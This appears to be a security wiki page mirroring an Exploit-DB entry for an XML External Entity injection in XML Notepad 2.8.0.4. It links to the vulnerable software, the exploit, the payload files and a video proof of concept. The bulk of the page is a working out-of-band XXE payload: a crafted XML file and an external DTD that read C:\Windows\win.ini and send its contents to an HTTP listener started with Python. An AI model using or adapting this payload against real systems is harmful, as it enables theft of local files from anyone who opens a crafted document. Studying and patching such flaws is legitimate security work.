> For the complete documentation index, see [llms.txt](https://awesome.hackpuntes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://awesome.hackpuntes.com/exploit-db/xml-notepad-2.8.0.4-xml-external-entity-injection.md).

# XML Notepad 2.8.0.4 - XML External Entity Injection

{% embed url="<https://www.exploit-db.com/exploits/47606>" %}

### FILES

{% file src="/files/-LtQuZVzmDCYgNHa40Ps" %}
Vulnerable software
{% endfile %}

{% file src="/files/-LtVHFiOd0Q9Sophx1qu" %}
Exploit
{% endfile %}

{% file src="/files/-LtVHM9Mp3rSog7l8OdU" %}
Payload
{% endfile %}

### POC

{% embed url="<https://www.youtube.com/watch?v=o6ltE-Bv8ww>" %}

### ORIGINAL

```
# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
# Date: 2019-11-11
# Exploit Author: 8-Team / daejinoh
# Vendor Homepage:  https://www.microsoft.com/  
# Software Link:  https://github.com/microsoft/XmlNotepad  
# Version: XML Notepad 2.8.0.4
# Tested on: Windows 10 Pro
# CVE : N/A

# Step
1) File -> Open -> *.xml

# Exploit Code

1) Server(python 3.7) : python -m http.server
2) Poc.xml : 
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

3) payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

  -------------------------------------------------------------------------------- 
```